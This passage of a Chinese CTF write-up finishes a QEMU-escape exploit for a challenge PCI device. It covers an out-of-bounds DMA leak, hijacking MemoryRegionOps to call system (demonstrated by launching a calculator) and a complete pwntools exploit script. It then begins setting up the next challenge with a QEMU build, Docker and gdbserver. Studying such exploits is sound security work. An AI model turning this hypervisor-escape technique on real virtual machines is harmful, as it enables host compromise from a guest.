QTAILQ_ENTRY(MemoryRegion) subregions_link;
QTAILQ_HEAD(, CoalescedMemoryRange) coalesced;
const char *name;
unsigned ioeventfd_nb;
MemoryRegionIoeventfd *ioeventfds;
};

我们可以从这个区域内泄露 QWBState 地址和 QEMU 程序基地址。

pwndbg> telescope 0x55b9e81feee0+0xe00-0x4b8
00:0000│  0x55b9e81ff828 —▸ 0x55b9cbc6ed80 (qwb_mmio_ops) —▸ 0x55b9cb03ffa5 (qwb_mmio_read) ◂— endbr64 
01:0008│  0x55b9e81ff830 —▸ 0x55b9e81feee0 —▸ 0x55b9e7571790 —▸ 0x55b9e736bb00 —▸ 0x55b9e7304f00 ◂— ...
02:0010│  0x55b9e81ff838 —▸ 0x55b9e75e6400 —▸ 0x55b9e744b4a0 —▸ 0x55b9e73aa140 —▸ 0x55b9e73aa2c0 ◂— ...
03:0018│  0x55b9e81ff840 ◂— 0x100000
04:0020│  0x55b9e81ff848 ◂— 0
05:0028│  0x55b9e81ff850 ◂— 0xf0000000
06:0030│  0x55b9e81ff858 —▸ 0x55b9cb3c5631 (memory_region_destructor_none) ◂— endbr64 
07:0038│  0x55b9e81ff860 ◂— 0
1
2
3
4
5
6
7
8
9
10
qt = QTest(["./launch.sh"])
qwb = QWB(qt, base=0xf0000000)

qemu = ELF("./qemu-system-x86_64")
leak = qwb.oob_read_before(neg_off=0x4b8, nbytes=0x600, ram_out=0x300000)
print(hexdump(leak))
QWBState_addr = u64(leak[0x8:0x8 + 8])
success("QWBState_addr: " + hex(QWBState_addr))
qemu.address = u64(leak[0x30:0x30 + 8]) - qemu.sym['memory_region_destructor_none']
success("qemu base: " + hex(qemu.address))

MemoryRegionOps 中的 readwrite 回调函数用来处理针对这块 IO 映射内存的操作:

pwndbg> p qwb_mmio_ops
$2 = {
  read = 0x55b9cb03ffa5 <qwb_mmio_read>,
  write = 0x55b9cb0401bd <qwb_mmio_write>,
  read_with_attrs = 0x0,
  write_with_attrs = 0x0,
  endianness = DEVICE_NATIVE_ENDIAN,
  valid = {
    min_access_size = 4,
    max_access_size = 8,
    unaligned = false,
    accepts = 0x0
  },
  impl = {
    min_access_size = 4,
    max_access_size = 8,
    unaligned = false
  }
}

我们可以劫持这个 ops 指针指向可控内存,然后在这块内存中伪造一个 MemoryRegionOps 结构从而劫持程序执行流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
leak = bytearray(leak)

leak[0:8] = p64(QWBState_addr + 0xE00)
qwb_mmio_ops = flat(
# function pointers (8 bytes each)
p64(0xdeadbeef), # read
p64(0xdeadbeef), # write
p64(0), # read_with_attrs (NULL)
p64(0), # write_with_attrs (NULL)

# endianness (assume 4 bytes) + 4 bytes padding to keep 8-byte alignment
p32(0), # endianness (uint32)
p32(0), # padding

# valid sub-struct (assume fields are 32-bit then a pointer)
p32(4), # valid.min_access_size = 4
p32(8), # valid.max_access_size = 8
p32(0), # valid.unaligned = false (0)
p32(0), # padding to align the next pointer
p64(0), # valid.accepts = 0 (NULL / placeholder)

# impl sub-struct (assume 3 x 32-bit fields; pad to 8-byte boundary)
p32(4), # impl.min_access_size = 4
p32(8), # impl.max_access_size = 8
p32(0), # impl.unaligned = false
p32(0), # padding
)

leak[0x4b8:0x4b8 + len(qwb_mmio_ops)] = qwb_mmio_ops
leak[0x8:0x8 + 8] = b"B" * 8 # rdi -> opaque

leak = bytes(leak)

qwb.oob_write_before(neg_off=0x4b8, payload=leak)
pause()
qwb.oob_write_before(neg_off=0x4b0, payload=leak)

下一次读写这块内存时成功劫持程序执行流程,并且 raxrdi 寄存器是可控的。

LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────
*RAX  0x4242424242424242 ('BBBBBBBB')
 RBX  0x55b7228da8c0 ◂— 1
 RCX  8
 RDX  1
*RDI  0x4242424242424242 ('BBBBBBBB')
 RSI  0
*R8   0xdeadbeef
 R9   0xffffffffffffffff
 R10  0x55b6fe0c0109 (memory_region_write_accessor) ◂— endbr64 
 R11  0x7f0ed00dc3c0 ◂— 0x2000200020002
 R12  0x55b721e13110 ◂— 0x55b700000002
 R13  0x55b6fe1e3238 (qio_channel_fd_source_dispatch) ◂— endbr64 
 R14  0x7f0ed102f280 —▸ 0x7f0ed0f54e80 ◂— endbr64 
 R15  0x55b7228da9b0 —▸ 0x55b721e13110 ◂— 0x55b700000002
 RBP  0x7ffe36ce3120 —▸ 0x7ffe36ce31a0 —▸ 0x7ffe36ce31f0 —▸ 0x7ffe36ce3250 —▸ 0x7ffe36ce32d0 ◂— ...
 RSP  0x7ffe36ce30d8 —▸ 0x55b6fe0c01f6 (memory_region_write_accessor+237) ◂— mov eax, 0
*RIP  0xdeadbeef
────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────────────────
Invalid address 0xdeadbeef











──────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffe36ce30d8 —▸ 0x55b6fe0c01f6 (memory_region_write_accessor+237) ◂— mov eax, 0
01:0008│-040 0x7ffe36ce30e0 —▸ 0x55b7219bc080 ◂— 0x302e37312b20525b ('[R +17.0')
02:0010│-038 0x7ffe36ce30e8 ◂— 0xffffffffffffffff
03:0018│-030 0x7ffe36ce30f0 ◂— 0x800000000
04:0020│-028 0x7ffe36ce30f8 —▸ 0x7ffe36ce31c8 ◂— 1
05:0028│-020 0x7ffe36ce3100 ◂— 0
06:0030│-018 0x7ffe36ce3108 —▸ 0x55b7227f47e0 —▸ 0x55b721a404a0 —▸ 0x55b72199f140 —▸ 0x55b72199f2c0 ◂— ...
07:0038│-010 0x7ffe36ce3110 ◂— 1
────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────
 ► 0       0xdeadbeef
   1   0x55b6fe0c01f6 memory_region_write_accessor+237
   2   0x55b6fe0c042d access_with_adjusted_size+317
   3   0x55b6fe0c34dc memory_region_dispatch_write+269
   4   0x55b6fe153163 flatview_write_continue+197
   5   0x55b6fe1532ac flatview_write+140
   6   0x55b6fe153626 address_space_write+115
   7   0x55b6fe061fd4 qtest_process_command+3455
────────────────────────────────────────────────────────[ THREADS (3 TOTAL) ]────────────────────────────────────────────────────────
  ► 1	"qemu-system-x86" stopped: 0xdeadbeef
    2	"qemu-system-x86" stopped: 0x7f0ed005889d <syscall+29> 
    3	"qemu-system-x86" stopped: 0x7f0ecff84322 <sigtimedwait+162> 
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> 

至此我们的利用思路就很多了,比如让 rdi 指向要执行的命令,然后跳转到 system@plt 执行命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
leak = bytearray(leak)

leak[0:8] = p64(QWBState_addr + 0xe00)
qwb_mmio_ops = flat(
# function pointers (8 bytes each)
p64(qemu.plt['system']), # read
p64(qemu.plt['system']), # write
p64(0), # read_with_attrs (NULL)
p64(0), # write_with_attrs (NULL)

# endianness (assume 4 bytes) + 4 bytes padding to keep 8-byte alignment
p32(0), # endianness (uint32)
p32(0), # padding

# valid sub-struct (assume fields are 32-bit then a pointer)
p32(4), # valid.min_access_size = 4
p32(8), # valid.max_access_size = 8
p32(0), # valid.unaligned = false (0)
p32(0), # padding to align the next pointer
p64(0), # valid.accepts = 0 (NULL / placeholder)

# impl sub-struct (assume 3 x 32-bit fields; pad to 8-byte boundary)
p32(4), # impl.min_access_size = 4
p32(8), # impl.max_access_size = 8
p32(0), # impl.unaligned = false
p32(0), # padding
)
cmd = "/usr/bin/gnome-calculator"

leak[0x4b8:0x4b8 + len(qwb_mmio_ops)] = qwb_mmio_ops
leak[0x4b8 + len(qwb_mmio_ops):0x4b8 + len(qwb_mmio_ops) + len(cmd)] = cmd.encode()
leak[0x8:0x8 + 8] = p64(QWBState_addr + 0xe00 + len(qwb_mmio_ops))

leak = bytes(leak)

qwb.oob_write_before(neg_off=0x4b8, payload=leak)
pause()
qwb.oob_write_before(neg_off=0x4b8, payload=leak)

或者借助栈迁移指令执行 ROP 进一步可以加载任意 shellcode 执行。

1
0x00000000004dc19c : push rax ; pop rsp ; ret

完整 Exp

1
2
3
4
5
# 通过“PCI 配置机制 #1”访问配置空间
def pci_cfg_readl(self, bus, dev, fn, off):
cfg = 0x80000000 | (bus<<16) | (dev<<11) | (fn<<8) | (off & 0xfc)
self.outl(0xcf8, cfg) # 把要访问的 (bus,dev,fn,off) 选中
return self.inl(0xcfc) # 真正的数据在 0xCFC 端口读/写
  • 0xCF8CONFIG_ADDRESS 端口:写入 32 位“选择值”(最高位=1 表示启用;后面编码 bus/dev/fn/offset)。

  • 0xCFCCONFIG_DATA 端口:紧接着对它 inl/outl,就能读/写配置空间对应寄存器的 32 位数据。

  • 这样你就能:

    • off=0x00 拿到 device_id:vendor_id
    • 读/写 off=0x10(BAR0),决定设备 MMIO 映射到物理地址的哪一段
    • 读/写 off=0x04(COMMAND/STATUS),设置 Memory Space Enable(bit1)Bus Master Enable(bit2) 等。

结论:只有把 BAR0 写到一个有效的物理地址,并且(通常)把 COMMAND.bit1(MEM)置 1BASE+offsetreadq/writeq 才会真正打到你的设备 qwb_mmio_read/qwb_mmio_write

在 PC(i440FX)平台上,PCI MMIO 窗口常见在 3.5G–4G 附近(例如 0xE0000000 起)。题目里内存只有 -m 512M,所以设置 BAR0 为 0xF0000000 远离 RAM,不冲突

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import re, os, time, struct

context.log_level = 'debug' if os.getenv('DEBUG') else 'info'
HEX = re.compile(r'0x[0-9a-fA-F]+')


# -------------------- qtest wrapper --------------------
class QTest:
def __init__(self, argv=["./launch.sh"], tmo=5.0):
self.p = process(argv, shell=False)
self.tmo = float(os.getenv('QTEST_TMO', tmo))
self._drain_banner()

@staticmethod
def _strip_prefix(line: bytes) -> str:
s = line.decode('utf-8', 'ignore').rstrip('\r\n')
if s.startswith('['):
rb = s.find(']')
if rb != -1:
s = s[rb + 1:].lstrip()
return s

def _drain_banner(self):
self.p.timeout = 0.1
try:
while True:
if not self.p.recvline(timeout=0.1):
break
except EOFError:
pass
finally:
self.p.timeout = None

def _flush_before_send(self):
self.p.timeout = 0.01
try:
while True:
l = self.p.recvline(timeout=0.01)
if not l: break
except EOFError:
pass
finally:
self.p.timeout = None

def _send(self, s: str):
self._flush_before_send()
self.p.sendline(s.encode())

def _read_resp(self, need_val=False):
"""
读到出现 OK 为止;兼容 'OK 0x...' 或 '0x...\\nOK'。
返回最后一个十六进制数(need_val=True)或 None。
"""
val = None
deadline = time.time() + self.tmo
while True:
if time.time() > deadline:
raise RuntimeError("No reply from qtest")
l = self.p.recvline()
if not l: continue
s = self._strip_prefix(l)
if not s: continue
if 'FAIL' in s:
raise RuntimeError(s)
if need_val:
ms = HEX.findall(s)
if ms: val = int(ms[-1], 16)
if s == 'OK' or s.startswith('OK'):
self._flush_before_send()
return val

# ---- qtest commands ----
def writeq(self, addr, val):
self._send(f"writeq {addr:#x} {val:#x}")
self._read_resp(False)

def readq(self, addr):
self._send(f"readq {addr:#x}")
return self._read_resp(True)

def outl(self, port, val):
self._send(f"outl {port:#x} {val:#x}")
self._read_resp(False)

def inl(self, port):
self._send(f"inl {port:#x}")
return self._read_resp(True)

# ---- guest RAM helpers ----
def mem_write(self, addr, data: bytes):
for i in range(0, len(data), 8):
chunk = data[i:i + 8]
if len(chunk) < 8:
chunk += b'\x00' * (8 - len(chunk))
self.writeq(addr + i, struct.unpack('<Q', chunk)[0])

def mem_write_qword(self, addr, qword):
self.writeq(addr, qword)

def mem_read(self, addr, size):
out = bytearray()
for i in range(0, size, 8):
out += struct.pack('<Q', self.readq(addr + i))
return bytes(out[:size])

# ---- PCI config via CF8/CFC ----
def pci_cfg_readl(self, bus, dev, fn, off):
cfg = 0x80000000 | (bus << 16) | (dev << 11) | (fn << 8) | (off & 0xfc)
self.outl(0xcf8, cfg)
return self.inl(0xcfc)

def pci_cfg_writel(self, bus, dev, fn, off, val):
cfg = 0x80000000 | (bus << 16) | (dev << 11) | (fn << 8) | (off & 0xfc)
self.outl(0xcf8, cfg)
self.outl(0xcfc, val)

def find_qwb(self, ven=0x2021, dev_id=0x0612):
for d in range(32):
for f in range(8):
vdid = self.pci_cfg_readl(0, d, f, 0x00)
if vdid == ((dev_id << 16) | ven):
return (0, d, f)
raise RuntimeError("qwb device not found on PCI 00:*.*")

def get_bar0(self, bus, dev, fn):
return self.pci_cfg_readl(bus, dev, fn, 0x10) & ~0xF

def set_bar0(self, bus, dev, fn, base):
self.pci_cfg_writel(bus, dev, fn, 0x10, base)

def enable_cmd_mem_busmaster(self, bus, dev, fn):
v = self.pci_cfg_readl(bus, dev, fn, 0x04) # COMMAND/STATUS dword
cmd = (v & 0xFFFF) | 0x0006 # bit1=MEM, bit2=BUSMASTER
v = (v & ~0xFFFF) | cmd
self.pci_cfg_writel(bus, dev, fn, 0x04, v)


# -------------------- exploit wrapper (wrap-around bug) --------------------
def u64_neg(off):
"""把正的偏移 k 变成 2^64 - k(等价于 -k 的无符号表示)"""
return ((1 << 64) - (off & ((1 << 64) - 1))) & ((1 << 64) - 1)


class QWB:
def __init__(self, qt: QTest, base=None):
self.qt = qt

# 1) 找到设备
bus, dev, fn = qt.find_qwb()
log.info(f"Found qwb at 00:{dev:02x}.{fn}")

# 2) 配置 BAR0:若为 0,则手动映射到 MAP_BASE;并开启 MEM/BUSMASTER
bar0 = qt.get_bar0(bus, dev, fn)
if bar0 == 0:
map_base = int(os.getenv("MAP_BASE", "0xf0000000"), 16)
log.warning(f"BAR0=0, programming BAR0 -> {map_base:#x}")
qt.set_bar0(bus, dev, fn, map_base)
qt.enable_cmd_mem_busmaster(bus, dev, fn)
bar0 = qt.get_bar0(bus, dev, fn)
if bar0 == 0:
log.warning("BAR0 readback still 0; using MAP_BASE as BASE anyway (qtest 有时不会回写).")
bar0 = map_base
else:
qt.enable_cmd_mem_busmaster(bus, dev, fn)

self.BASE = bar0
log.success(f"BAR0 = {self.BASE:#x}")

# 寄存器地址
self.REG_SIZE = self.BASE + 0x00
self.REG_IDX = self.BASE + 0x08
self.REG_SRC = self.BASE + 0x10
self.REG_DST = self.BASE + 0x18
self.REG_CNT = self.BASE + 0x20
self.REG_CMD = self.BASE + 0x28
self.REG_KICK = self.BASE + 0x30

# 3) MMIO 烟雾测试:readq(KICK) 应返回 1
v = self.go()
if v != 1:
raise RuntimeError(f"MMIO not mapped? readq(BASE+0x30) -> {v:#x}, expect 1")

log.info(f"SIZE(initial) = {self.get_size()}")

# MMIO regs
def set_size(self, n):
self.qt.writeq(self.REG_SIZE, n)

def get_size(self):
return self.qt.readq(self.REG_SIZE)

def set_idx(self, i):
self.qt.writeq(self.REG_IDX, i)

def wr_desc(self, i, src=None, dst=None, cnt=None, cmd=None):
self.set_idx(i)
if src is not None: self.qt.writeq(self.REG_SRC, src)
if dst is not None: self.qt.writeq(self.REG_DST, dst)
if cnt is not None: self.qt.writeq(self.REG_CNT, cnt)
if cmd is not None: self.qt.writeq(self.REG_CMD, cmd & 1)

def go(self):
return self.qt.readq(self.REG_KICK)

# ---------- Wrap-around OOB ----------
def oob_read_before(self, neg_off, nbytes, ram_out):
"""
从 dma_buf 起点往前 neg_off 字节开始,读取 nbytes 到来宾 RAM。
约束:0 < neg_off <= nbytes <= 0x1000
"""
assert 0 < neg_off <= 0x1000
assert nbytes >= neg_off and nbytes <= 0x1000

self.set_size(1)
# 描述符0:cmd=1(device->system)
self.wr_desc(0,
src=u64_neg(neg_off),
dst=ram_out,
cnt=nbytes,
cmd=1
)
self.go()
return self.qt.mem_read(ram_out, nbytes)

def oob_write_before(self, neg_off, payload: bytes, ram_src=0x220000, pad_byte=b'\x00'):
"""
从 dma_buf 起点往前 neg_off 字节开始,写入 payload。
为通过检查:需要 cnt >= neg_off 且 cnt <= 0x1000。
若 len(payload) < neg_off,会自动零填到 neg_off(会部分覆盖缓冲区内)。
"""
assert 0 < neg_off <= 0x1000
cnt = max(len(payload), neg_off)
assert cnt <= 0x1000

if len(payload) < cnt:
payload = payload + pad_byte * (cnt - len(payload))

self.qt.mem_write(ram_src, payload)
self.set_size(1)
# 描述符0:cmd=0(system->device)
self.wr_desc(0,
src=ram_src,
dst=u64_neg(neg_off),
cnt=cnt,
cmd=0
)
self.go()


# -------------------- optional gdb attach --------------------
def find_qemu_pid(ppid):
try:
exe = os.path.basename(os.readlink(f"/proc/{ppid}/exe"))
except Exception:
return ppid
if exe.startswith("qemu-system"):
return ppid
try:
with open(f"/proc/{ppid}/task/{ppid}/children") as f:
kids = [int(x) for x in f.read().strip().split()]
for k in kids:
try:
name = os.path.basename(os.readlink(f"/proc/{k}/exe"))
if name.startswith("qemu-system"):
return k
except Exception:
pass
except Exception:
pass
return ppid


def maybe_attach_gdb(proc):
if os.getenv('GDB'):
time.sleep(0.2)
qpid = find_qemu_pid(proc.pid)
gdbscript = os.getenv('GDBSCRIPT', 'b system\nc\n')
# gdbscript = os.getenv('GDBSCRIPT', 'b qwb_mmio_read\nb qwb_mmio_write\nb qwb_do_dma\nc\n')
log.info(f"Attaching gdb to PID {qpid}")
try:
gdb.attach(qpid, gdbscript=gdbscript, exe="./qemu-system-x86_64")
pause()
except Exception as e:
log.warning(f"GDB attach failed: {e} (tip: sudo sysctl -w kernel.yama.ptrace_scope=0)")


def main():
qt = QTest(["./launch.sh"])
qwb = QWB(qt, base=0xf0000000)

qemu = ELF("./qemu-system-x86_64")
leak = qwb.oob_read_before(neg_off=0x4b8, nbytes=0x600, ram_out=0x300000)
print(hexdump(leak))
QWBState_addr = u64(leak[0x8:0x8 + 8])
success("QWBState_addr: " + hex(QWBState_addr))
qemu.address = u64(leak[0x30:0x30 + 8]) - qemu.sym['memory_region_destructor_none']
success("qemu base: " + hex(qemu.address))

maybe_attach_gdb(qt.p) # GDB=1 时附加

leak = bytearray(leak)

leak[0:8] = p64(QWBState_addr + 0xe00)
qwb_mmio_ops = flat(
# function pointers (8 bytes each)
p64(qemu.plt['system']), # read
p64(qemu.plt['system']), # write
p64(0), # read_with_attrs (NULL)
p64(0), # write_with_attrs (NULL)

# endianness (assume 4 bytes) + 4 bytes padding to keep 8-byte alignment
p32(0), # endianness (uint32)
p32(0), # padding

# valid sub-struct (assume fields are 32-bit then a pointer)
p32(4), # valid.min_access_size = 4
p32(8), # valid.max_access_size = 8
p32(0), # valid.unaligned = false (0)
p32(0), # padding to align the next pointer
p64(0), # valid.accepts = 0 (NULL / placeholder)

# impl sub-struct (assume 3 x 32-bit fields; pad to 8-byte boundary)
p32(4), # impl.min_access_size = 4
p32(8), # impl.max_access_size = 8
p32(0), # impl.unaligned = false
p32(0), # padding
)
cmd = "/usr/bin/gnome-calculator"

leak[0x4b8:0x4b8 + len(qwb_mmio_ops)] = qwb_mmio_ops
leak[0x4b8 + len(qwb_mmio_ops):0x4b8 + len(qwb_mmio_ops) + len(cmd)] = cmd.encode()
leak[0x8:0x8 + 8] = p64(QWBState_addr + 0xe00 + len(qwb_mmio_ops))

leak = bytes(leak)

qwb.oob_write_before(neg_off=0x4b8, payload=leak)
pause()
qwb.oob_write_before(neg_off=0x4b8, payload=leak)

qt.p.interactive()


if __name__ == "__main__":
main()

2025qwb-babybus

环境搭建

编译 QEMU

由于题目没有符号,因此我们需要编译一个同版本的 QEMU,然后吧该 QEMU 二进制文件的签名以及结构体信息导入到题目提供的 QEMU 中。

通过运行程序或者搜索字符串可以定位到 QEMU 的版本是 10.1.0

1
2
QEMU emulator version 10.1.0 (v10.1.0-2-g07e6d49-dirty)
Copyright (c) 2003-2025 Fabrice Bellard and the QEMU Project developers

首先下载编译所需依赖:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 1) 启用 deb-src(若已启用可跳过)
sudo sed -i 's/^# deb-src/deb-src/' /etc/apt/sources.list
sudo apt update

# 2) 安装打包方提供的构建依赖(覆盖面广、省心)
sudo apt build-dep -y qemu # 若提示必须启用源码源,请确保上一步已做

# 3) 再补充一些常用可选依赖(图形/声卡/USB/加速等特性常用)
sudo apt install -y git build-essential ninja-build meson pkg-config python3 \
libglib2.0-dev libpixman-1-dev zlib1g-dev libfdt-dev \
libsdl2-dev libgtk-3-dev libspice-server-dev libspice-protocol-dev \
libpulse-dev libasound2-dev libusb-1.0-0-dev libusbredirhost-dev libusbredirparser-dev \
libslirp-dev libiscsi-dev libnfs-dev libaio-dev liburing-dev libnuma-dev \
libzstd-dev liblz4-dev libsnappy-dev bzip2 libbz2-dev lzop liblzo2-dev \
libcapstone-dev libseccomp-dev libcap-ng-dev

sudo apt install -y python3-venv python3-pip python3-setuptools python3-wheel

然后编译:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
mkdir -p ~/src && cd ~/src
curl -LO https://download.qemu.org/qemu-10.1.0.tar.xz
tar -xf qemu-10.1.0.tar.xz

cd ~/src/qemu-10.1.0
rm -rf build-static
mkdir build-static && cd build-static

# 关键:禁用 PIE + 给 C/链接都加 no-PIE,避免子项目/测试用默认 PIE
../configure \
--prefix=$HOME/.local/qemu-10.1-static \
--target-list=x86_64-softmmu \
--disable-capstone --disable-slirp --disable-spice \
--disable-gtk --disable-sdl --disable-virglrenderer \
--disable-curl --disable-libssh --disable-libiscsi --disable-libnfs \
--disable-plugins --disable-tools \
--enable-debug --disable-strip \
--disable-pie \
-Ddefault_library=static \
-Db_pie=false \
-Dc_args='-fno-PIE' \
-Dc_link_args='-no-pie'

# 不要用 make(会跑 "all" 把 link-test 也拉进来),直接定点构建
ninja -C . qemu-system-x86_64

调试环境

Dockerfile 中需要添加 gdbserver 安装以及开放端口 2345:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
FROM ubuntu:24.04

RUN apt-get update && apt-get upgrade -y && \
apt-get install -y \
libglib2.0-0 \
libpixman-1-0 \
libusb-1.0-0 \
libgnutls30 \
libslirp0 \
libfdt1 \
gdbserver \
&& rm -rf /var/lib/apt/lists/*

# 复制并设置入口脚本
COPY docker-entrypoint.sh /usr/local/bin/docker-entrypoint.sh
RUN chmod +x /usr/local/bin/docker-entrypoint.sh

RUN useradd -m ctf

WORKDIR /home/ctf

# 复制编译好的二进制与启动脚本
COPY qemu-system-x86_64 qemu-system-x86_64
COPY run.sh run.sh

RUN chmod +x qemu-system-x86_64 run.sh

USER ctf

# 保持原有默认端口
ENV PORT=1502

# 暴露 Modbus 与 gdbserver
EXPOSE 1502
EXPOSE 2345

ENTRYPOINT ["/usr/local/bin/docker-entrypoint.sh"]

在入口脚本里增加一个 DEBUG_SERVER 模式(监听 2345)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
#!/usr/bin/env sh
#!/bin/bash

FLAG_PATH=/home/ctf/flag
FLAG_MODE=M_ECHO
if [ ${ICQ_FLAG} ];then
case $FLAG_MODE in
"M_ECHO")
echo -n ${ICQ_FLAG} > ${FLAG_PATH}
FILE_MODE=755 # 注意这里的权限,flag的权限一定要注意,是所有用户可读,还是只有root可读
chmod ${FILE_MODE} ${FLAG_PATH}
;;
"M_SED")
#sed -i "s/flag{x*}/${ICQ_FLAG}/" ${FLAG_PATH}
sed -i -r "s/flag\{.*\}/${ICQ_FLAG}/" ${FLAG_PATH}
;;
"M_SQL")
# sed -i -r "s/flag\{.*\}/${ICQ_FLAG}/" ${FLAG_PATH}
# mysql -uroot -proot < ${FLAG_PATH}
;;
*)
;;
esac
echo [+] ICQ_FLAG OK
unset ICQ_FLAG
else
echo [!] no ICQ_FLAG
fi

#del eci env
rm -rf /etc/profile.d/pouchenv.sh
rm -rf /etc/instanceInfo

# sth

set -eu

# 环境参数
HOST="${HOST:-0.0.0.0}"
PORT="${PORT:-1502}"
RESTART_DELAY="${RESTART_DELAY:-1}"
UNIT_ID="${UNIT_ID:-1}"
TIMER_RESTART="${TIMER_RESTART:-20}"

# === DEBUG_SERVER(gdbserver 监听 2345)===
DEBUG_SERVER="${DEBUG_SERVER:-0}"
GDB_PORT="${GDB_PORT:-2345}"
# 是否在 gdbserver 结束后自动重启(默认 0=不重启)
DEBUG_AUTORESTART="${DEBUG_AUTORESTART:-0}"
DEBUG_RESTART_DELAY="${DEBUG_RESTART_DELAY:-1}"

if [ "$DEBUG_SERVER" = "1" ]; then
echo "[entrypoint] DEBUG_SERVER=1: gdbserver on :$GDB_PORT (TIMER_RESTART disabled)"
# 调试模式不受 20 秒重启限制
TIMER_RESTART=0
set +e
while true; do
set -x
gdbserver 0.0.0.0:${GDB_PORT} /home/ctf/qemu-system-x86_64 \
-machine none \
-nographic \
-nodefaults \
-chardev socket,id=mbus,host=0.0.0.0,port=1502,server=on,wait=off \
-device modbus-rtu,chardev=mbus,unit-id=1
exit_code=$?
set +x
if [ "${DEBUG_AUTORESTART}" != "1" ]; then
echo "[entrypoint] gdbserver exited with code ${exit_code}, not restarting (DEBUG_AUTORESTART=0)"
exit "${exit_code}"
fi
echo "[entrypoint] gdbserver exited with code ${exit_code}, restarting in ${DEBUG_RESTART_DELAY}s"
sleep "${DEBUG_RESTART_DELAY}"
done
fi
# === DEBUG_SERVER 结束 ===

GEN_RUN="/home/ctf/run.sh"

trap 'echo "[entrypoint] received signal, exiting"; exit 0' INT TERM

start_time=$(date +%s)
while true; do
echo "[entrypoint] starting QEMU on ${HOST}:${PORT}"

if [ "${TIMER_RESTART}" -gt 0 ]; then
echo "[entrypoint] timer restart enabled: ${TIMER_RESTART}s"
set +e
timeout "${TIMER_RESTART}" "${GEN_RUN}"
exit_code=$?
set -e

current_time=$(date +%s)
runtime=$((current_time - start_time))

if [ $exit_code -eq 124 ]; then
# timeout命令的退出码124表示超时
echo "[entrypoint] qemu timed out after ${TIMER_RESTART}s (runtime: ${runtime}s), restarting"
else
echo "[entrypoint] qemu exited with code ${exit_code} after ${runtime}s, restart in ${RESTART_DELAY}s"
sleep "${RESTART_DELAY}"
fi
else
# 仅错误重启模式
set +e
"${GEN_RUN}"
exit_code=$?
set -e

current_time=$(date +%s)
runtime=$((current_time - start_time))
echo "[entrypoint] qemu exited with code ${exit_code} after ${runtime}s, restart in ${RESTART_DELAY}s"
sleep "${RESTART_DELAY}"
fi

# 重置开始时间
start_time=$(date +%s)
done

构建 Docker 镜像:

1
docker build -t babybus .

之后启动容器:

  • 普通模式(仍然是 20 秒重启逻辑)

    1
    2
    3
    4
    5
    docker run --rm -it \
    --name babybus \
    -e ICQ_FLAG=flag{fake_flag} \
    -p 1502:1502 \
    babybus
  • 调试模式(不受 20 秒限制,gdbserver=2345)

    1
    2
    3
    4
    5
    6
    7
    8
    docker run --rm -it \
    --name babybus \
    -e ICQ_FLAG=flag{fake_flag} \
    -e DEBUG_SERVER=1 \
    -p 1502:1502 -p 2345:2345 \
    --cap-add=SYS_PTRACE \
    --security-opt seccomp=unconfined \
    babybus

方便起见调试时可以采用如下命令循环启动:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
while true; do
docker run --rm -it \
--name babybus \
-e ICQ_FLAG=flag{fake_flag} \
-e DEBUG_SERVER=1 \
-p 1502:1502 -p 2345:2345 \
--cap-add=SYS_PTRACE \
--security-opt seccomp=unconfined \
babybus
code=$?
# 130/143 通常是你 Ctrl+C/TERM 主动打断,别再重启
if [[ $code -eq 130 || $code -eq 143 ]]; then
echo "收到中断,退出循环。"
exit 0
fi
echo "容器退出,状态码 $code,2 秒后重启…(Ctrl+C 终止)"
sleep 2
done

漏洞分析

题目是一个实现了 Modbus RTU 协议交互的 QEMU 字符设备。

